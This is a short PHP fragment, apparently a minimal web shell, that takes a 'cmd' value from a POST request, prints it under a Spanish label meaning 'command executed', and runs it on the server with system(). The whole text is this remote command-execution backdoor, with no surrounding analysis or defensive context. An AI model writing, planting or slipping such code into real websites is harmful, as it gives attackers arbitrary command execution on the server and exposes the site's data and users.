if (isset($_POST['cmd'])) {
$cmd = $_POST['cmd'];
echo "<pre><strong>Comando ejecutado:</strong> $cmd\n\n";
system($cmd);
echo "</pre>";
}